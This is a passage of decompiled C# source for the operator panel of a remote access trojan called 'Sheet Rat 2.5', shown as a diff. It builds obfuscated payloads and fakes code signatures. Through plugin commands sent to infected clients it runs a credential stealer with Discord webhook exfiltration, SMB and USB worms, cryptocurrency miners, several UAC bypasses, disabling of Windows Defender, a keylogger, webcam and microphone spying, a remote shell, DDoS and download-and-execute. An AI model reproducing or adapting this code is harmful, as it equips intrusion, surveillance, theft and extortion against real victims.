CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation JunkCode"); + JunkCodeInjector.Inject((ModuleDef) moduleDefMd, (int) this.numericUpDown1.Value); + } + if (this.ObfusctationArithmetic.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation Arithmetic"); + MindLated.Protection.Arithmetic.Arithmetic.Execute((ModuleDef) moduleDefMd); + } + if (this.CheckBoxCtrlFlow.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation ControlFlow"); + ControlFlowObfuscation.Execute(moduleDefMd); + } + if (this.CheckBoxRename.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation RenamerPhase"); + RenamerPhase.Execute(moduleDefMd, RenamerPhase.RenameMode.Ascii); + } + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Write"); + if (this.CheckBoxSigTheif.Checked) + { + moduleDefMd.Write(saveFileDialog.FileName + ".tmp"); + moduleDefMd.Dispose(); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Write Assembly and ico"); + if (this.CheckBoxAssembly.Checked) + this.WriteAssembly(saveFileDialog.FileName + ".tmp"); + if (this.CheckBoxIco.Checked && !string.IsNullOrEmpty(BulidStatic.IconPath)) + IconInjector.InjectIcon(saveFileDialog.FileName + ".tmp", BulidStatic.IconPath); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start SigTheif"); + Process.Start(new ProcessStartInfo() + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + FileName = "Stub\\sigthief.exe", + Arguments = $" -i \"{BulidStatic.SigPath}\" -o \"{saveFileDialog.FileName}\" -t \"{saveFileDialog.FileName}.tmp\"" + }).WaitForExit(); + File.Delete(saveFileDialog.FileName + ".tmp"); + } + else + { + moduleDefMd.Write(saveFileDialog.FileName); + moduleDefMd.Dispose(); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Write Assembly and ico"); + if (this.CheckBoxAssembly.Checked) + this.WriteAssembly(saveFileDialog.FileName); + if (this.CheckBoxIco.Checked && !string.IsNullOrEmpty(BulidStatic.IconPath)) + IconInjector.InjectIcon(saveFileDialog.FileName, BulidStatic.IconPath); + } + CustomConsole.WriteLine(CustomConsole.Title.Information, "Bulid Succues"); + } + } + } + GC.Collect(); + } + } + + private void ButtonSelectSigTheif_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Executable (*.exe)|*.exe"; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + BulidStatic.SigPath = openFileDialog.FileName; + } + } + + private void metroButton3_Click_1(object sender, EventArgs e) => Bulid.Save("ConfigBulid.json"); + + private void copyLogsToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread thread = new Thread((ThreadStart) (() => + { + try + { + string path1 = Path.Combine(new FileInfo(Application.ExecutablePath).Directory.FullName, "Users"); + StringCollection filePaths = new StringCollection(); + foreach (Clients clients in this.ClientsSelected()) + filePaths.Add(Path.Combine(path1, clients.ID)); + Clipboard.SetFileDropList(filePaths); + } + catch + { + } + })); + thread.SetApartmentState(ApartmentState.STA); + thread.Start(); + thread.Join(); + } + + private void clipboardToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Clipboard.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormClipboard) Application.OpenForms["Clipboard:" + clients.ID] == null) + { + FormClipboard formClipboard = new FormClipboard(); + formClipboard.Name = "Clipboard:" + clients.ID; + formClipboard.ParentClient = clients; + formClipboard.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void toogleNotyfiClient_CheckedChanged(object sender, EventArgs e) + { + Settings.Default.notify = this.toogleNotyfiClient.Checked; + Settings.Default.Save(); + } + + private void toogleNotyfiNewClient_CheckedChanged(object sender, EventArgs e) + { + Settings.Default.notifynew = this.toogleNotyfiNewClient.Checked; + Settings.Default.Save(); + } + + private void autoRunToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\AutoRun.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormAutoRun) Application.OpenForms["AutoRun:" + clients.ID] == null) + { + FormAutoRun formAutoRun = new FormAutoRun(); + formAutoRun.Name = "AutoRun:" + clients.ID; + formAutoRun.client = clients; + formAutoRun.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void recoveryToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Stealer.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + + private void sMBWormToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\WormSMB.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + + private void funToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Fun.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormFun) Application.OpenForms["Fun:" + clients.ID] == null) + { + FormFun formFun = new FormFun(); + formFun.Name = "Fun:" + clients.ID; + formFun.client = clients; + formFun.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void clearSavePluginsToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\System.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("ClearPlugin"))}"); + } + + private void uSBWormToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\WormJoiner.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Download"))}"); + } + + private void miningEtcToolStripMenuItem_Click(object sender, EventArgs e) + { + if (!this.MinerActive) + { + string checksum = Methods.GetChecksum("Plugins\\MinerEtc.dll"); + foreach (Clients clients in this.ClientsAll()) + { + bool flag = false; + if (!string.IsNullOrEmpty((string) clients.Item.Cells[13].Value) && !((string) clients.Item.Cells[2].Value == "Selleritos")) + { + string str1 = (string) clients.Item.Cells[13].Value; + char[] chArray = new char[1]{ ',' }; + foreach (string str2 in str1.Split(chArray)) + { + if (Convert.ToInt32(str2.Replace("GB", "")) >= 3) + flag = true; + } + if (flag) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + this.Miner.Show(); + this.MinerActive = true; + } + else + this.Miner.Show(); + } + + private void disableUACToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\SystemDisable.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("UAC"))}"); + } + + private void disableWDToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\SystemDisable.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("WD"))}"); + } + + private void getPathClientToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\System.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("GetPath"))}"); + } + + private void toolStripMenuItem2_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\WormJoiner.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Usb"))}"); + } + + private void toolStripMenuItem3_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\WormJoiner.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Desktop"))}"); + } + + private void addConnectToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + FormFreendConnect formFreendConnect = new FormFreendConnect(); + int num = (int) formFreendConnect.ShowDialog(); + if (!formFreendConnect.started) + return; + string checksum = Methods.GetChecksum("Plugins\\FreendConnect.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"{formFreendConnect.IP.Text}<@>{formFreendConnect.GROUP.Text}"))}"); + } + + private void DiscordWebHook_CheckedChanged(object sender, EventArgs e) + { + Settings.Default.DiscordWebHook = this.DiscordWebHook.Checked; + Settings.Default.Save(); + } + + private void copyHwidToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (Clients clients in this.ClientsSelected()) + values.Add(clients.ID); + Methods.SetTextClibpBoard(string.Join(",", (IEnumerable) values)); + } + + private void chatToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Chat.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormChat) Application.OpenForms["Chat:" + clients.ID] == null) + { + FormChat formChat = new FormChat(); + formChat.Name = "Chat:" + clients.ID; + formChat.ParentClient = clients; + formChat.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void mapToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Map.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormMap) Application.OpenForms["Map:" + clients.ID] == null) + { + FormMap formMap = new FormMap(); + formMap.Name = "Map:" + clients.ID; + formMap.ParrentClient = clients; + formMap.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void exitToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) "Exit"); + } + + private void reconectToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) "Restart"); + } + + private void removeToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0 || MessageBox.Show("are you sure you want to delete the client?", "Sheet Rat", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != DialogResult.Yes) + return; + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) "Uninstall"); + } + + private void updateToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Executable (*.exe)|*.exe"; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + string base64String = Convert.ToBase64String(File.ReadAllBytes(openFileDialog.FileName)); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) ("Update<@>" + base64String)); + } + } + + private void fromDiskToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + string checksum = Methods.GetChecksum("Plugins\\SendFile.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"SendDisk<@>{Convert.ToBase64String(File.ReadAllBytes(openFileDialog.FileName))}<@>{new FileInfo(openFileDialog.FileName).Extension}"))}"); + } + } + + private void fromLinkToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Url"; + inputBoxCustom.Input.Text = "Input Url here. Only for exe."; + int num = (int) inputBoxCustom.ShowDialog(); + string text = inputBoxCustom.Input.Text; + if (!text.ToLower().Contains("http")) + return; + string checksum = Methods.GetChecksum("Plugins\\SendFile.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("SendLink<@>" + text))}"); + } + + private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\RemoteDesktop.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormRemoteDesktop) Application.OpenForms["RemoteDesktop:" + clients.ID] == null) + { + FormRemoteDesktop formRemoteDesktop = new FormRemoteDesktop(); + formRemoteDesktop.Name = "RemoteDesktop:" + clients.ID; + formRemoteDesktop.ParrentClient = clients; + formRemoteDesktop.pathforImage = Path.Combine("Users", clients.ID, "RemoteDesktop"); + formRemoteDesktop.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void fromMemoryToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + int num = (int) new FormSendInMemory() + { + Clients = this.ClientsSelected() + }.ShowDialog(); + } + + private void remoteCameraToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\RemoteCamera.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if (!((string) clients.Item.Cells[9].Value == "false") && (FormRemoteCamera) Application.OpenForms["Webcam:" + clients.ID] == null) + { + FormRemoteCamera formRemoteCamera = new FormRemoteCamera(); + formRemoteCamera.Name = "Webcam:" + clients.ID; + formRemoteCamera.ParrentClient = clients; + formRemoteCamera.pathforImage = Path.Combine(Application.StartupPath, "Users", clients.ID, "RemoteCamera"); + formRemoteCamera.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void microphoneToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\MicroPhone.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormRemoteMicrophone) Application.OpenForms["Microphone:" + clients.ID] == null) + { + FormRemoteMicrophone remoteMicrophone = new FormRemoteMicrophone(); + remoteMicrophone.Name = "Microphone:" + clients.ID; + remoteMicrophone.ParrentClient = clients; + remoteMicrophone.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void logOutToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\System.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Logout"))}"); + } + + private void restartToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\System.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Restart"))}"); + } + + private void shutdownToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\System.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Shutdown"))}"); + } + + private void shellToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Shell.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormShell) Application.OpenForms["Shell:" + clients.ID] == null) + { + FormShell formShell = new FormShell(); + formShell.Name = "Shell:" + clients.ID; + formShell.ParrentClient = clients; + formShell.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\ReverseProxy.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormReverseProxy) Application.OpenForms["ReverseProxy:" + clients.ID] == null) + { + FormReverseProxy formReverseProxy = new FormReverseProxy(); + formReverseProxy.Name = "ReverseProxy:" + clients.ID; + formReverseProxy.parrent = clients; + formReverseProxy.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void openFolderToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + foreach (Clients clients in this.ClientsSelected()) + { + if (Directory.Exists("Users\\" + clients.ID)) + Process.Start("Users\\" + clients.ID); + } + } + + private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\FileManager.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormFileManager) Application.OpenForms["FileManager:" + clients.ID] == null) + { + FormFileManager formFileManager = new FormFileManager(); + formFileManager.Name = "FileManager:" + clients.ID; + formFileManager.client = clients; + formFileManager.pathforDownload = Path.Combine("Users", clients.ID, "Download"); + formFileManager.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void runAsAdminUacToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("runas"))}"); + } + + private void eventvwrToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Eventvwr"))}"); + } + + private void fodhelperToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Fodhelper"))}"); + } + + private void computerdefaultsToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Computerdefaults"))}"); + } + + private void sDCLTToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("SDCLT"))}"); + } + + private void sLUIToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("SLUI"))}"); + } + + private void diskCleanupToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("DiskCleanup"))}"); + } + + private void regeditToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Regedit.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormRegedit) Application.OpenForms["remoteRegedit:" + clients.ID] == null) + { + FormRegedit formRegedit = new FormRegedit(); + formRegedit.Name = "remoteRegedit:" + clients.ID; + formRegedit.ParentClient = clients; + formRegedit.F = this; + formRegedit.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void taskSchedulerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Scheduler.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormTaskScheduler) Application.OpenForms["SchedulerMenagment:" + clients.ID] == null) + { + FormTaskScheduler formTaskScheduler = new FormTaskScheduler(); + formTaskScheduler.Name = "SchedulerMenagment:" + clients.ID; + formTaskScheduler.patternclient = clients; + formTaskScheduler.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void keyLoggerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Keylogger.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormKeyLogger) Application.OpenForms["KeyLogger:" + clients.ID] == null) + { + FormKeyLogger formKeyLogger = new FormKeyLogger(); + formKeyLogger.Name = "KeyLogger:" + clients.ID; + formKeyLogger.ParrentClient = clients; + formKeyLogger.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void dDosAttackToolStripMenuItem_Click(object sender, EventArgs e) + { + string checksum = Methods.GetChecksum("Plugins\\DDos.dll"); + foreach (Clients clients in this.ClientsAll()) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + this.ddos.Show(); + this.DDosActive = true; + } + + private void runAsSystemToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Uac.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("runassystem"))}"); + } + + private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\TaskMgr.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormTaskMgr) Application.OpenForms["TaskMgr:" + clients.ID] == null) + { + FormTaskMgr formTaskMgr = new FormTaskMgr(); + formTaskMgr.Name = "TaskMgr:" + clients.ID; + formTaskMgr.client = clients; + formTaskMgr.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void serviceManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Service.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormService) Application.OpenForms["Service:" + clients.ID] == null) + { + FormService formService = new FormService(); + formService.Name = "Service:" + clients.ID; + formService.client = clients; + formService.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void netStatToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Netstat.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormNetStat) Application.OpenForms["Netstat:" + clients.ID] == null) + { + FormNetStat formNetStat = new FormNetStat(); + formNetStat.Name = "Netstat:" + clients.ID; + formNetStat.client = clients; + formNetStat.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void speakTextToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\SpeakBot.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormSpeakBot) Application.OpenForms["SpeakBot:" + clients.ID] == null) + { + FormSpeakBot formSpeakBot = new FormSpeakBot(); + formSpeakBot.Name = "SpeakBot:" + clients.ID; + formSpeakBot.ParentClient = clients; + formSpeakBot.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void messageToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Message.dll"); + foreach (Clients clients in this.ClientsSelected()) + { + if ((FormMessage) Application.OpenForms["Message:" + clients.ID] == null) + { + FormMessage formMessage = new FormMessage(); + formMessage.Name = "Message:" + clients.ID; + formMessage.Parrent = clients; + formMessage.Show(); + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + } + + private void addToolStripMenuItem_Click(object sender, EventArgs e) + { + int num = (int) new FormAutoTasksAdd().ShowDialog(); + } + + private void toolStripMenuItem1_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow selectedRow in (BaseCollection) this.GridAutoTasks.SelectedRows) + this.GridAutoTasks.Rows.Remove(selectedRow); + } + + private void Checker_Tick(object sender, EventArgs e) + { + this.Text = $"Sheet Rat 2.5 Online [{this.GridClients.RowCount}] Selected[{this.GridClients.SelectedRows.Count}] " + Data.GetData(); + Console.Title = this.Text; + this.Refresh(); + } + + private void toolStripMenuItem4_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + int num = (int) new FormSendInMemoryLink() + { + Clients = this.ClientsSelected() + }.ShowDialog(); + } + + private void rANSOMWAREToolStripMenuItem_Click(object sender, EventArgs e) + { + } + + private void toolStripMenuItem5_Click(object sender, EventArgs e) + { + if (!this.MinerActiveXmr) + { + string checksum = Methods.GetChecksum("Plugins\\MinerXmr.dll"); + foreach (Clients clients in this.ClientsAll()) + { + bool flag = true; + if (string.IsNullOrEmpty((string) clients.Item.Cells[13].Value)) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + else if (this.MinerXmr.CheckDontGpu.Checked) + { + string str1 = (string) clients.Item.Cells[13].Value; + char[] chArray = new char[1]{ ',' }; + foreach (string str2 in str1.Split(chArray)) + { + if (Convert.ToInt32(str2.Replace("GB", "")) >= 3) + flag = false; + } + if (flag) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + else + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + this.MinerXmr.Show(); + this.MinerActiveXmr = true; + } + else + this.MinerXmr.Show(); + } + + private void metroButton4_Click(object sender, EventArgs e) + { + using (SaveFileDialog saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = ".cfg (*.cfg)|*.cfg"; + saveFileDialog.InitialDirectory = Path.Combine(Application.StartupPath, "Bulids"); + saveFileDialog.OverwritePrompt = false; + saveFileDialog.FileName = $"{this.TextBoxGroup.Text}_{this.random.Next(1000).ToString()}.cfg"; + if (saveFileDialog.ShowDialog() != DialogResult.OK) + return; + Bulid.Save(saveFileDialog.FileName); + } + } + + private void metroButton5_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Config (*.cfg)|*.cfg"; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + Bulid.Load(openFileDialog.FileName); + } + } + + private void recoveryWebhookToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Webhook"; + inputBoxCustom.Input.Text = "Input Webhook discord"; + int num = (int) inputBoxCustom.ShowDialog(); + if (!inputBoxCustom.Input.Text.Contains("webhook")) + { + inputBoxCustom.Dispose(); + } + else + { + string checksum = Methods.GetChecksum("Plugins\\Stealer.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes(inputBoxCustom.Input.Text))}"); + inputBoxCustom.Dispose(); + } + } + + private void mapToolStripMenuItem1_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + string checksum = Methods.GetChecksum("Plugins\\Map.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + + private void metroRadioButton1_CheckedChanged(object sender, EventArgs e) + { + this.gMapControl1.Overlays[0].IsVisibile = false; + this.gMapControl1.Overlays[1].IsVisibile = true; + } + + private void metroRadioButton2_CheckedChanged(object sender, EventArgs e) + { + this.gMapControl1.Overlays[0].IsVisibile = true; + 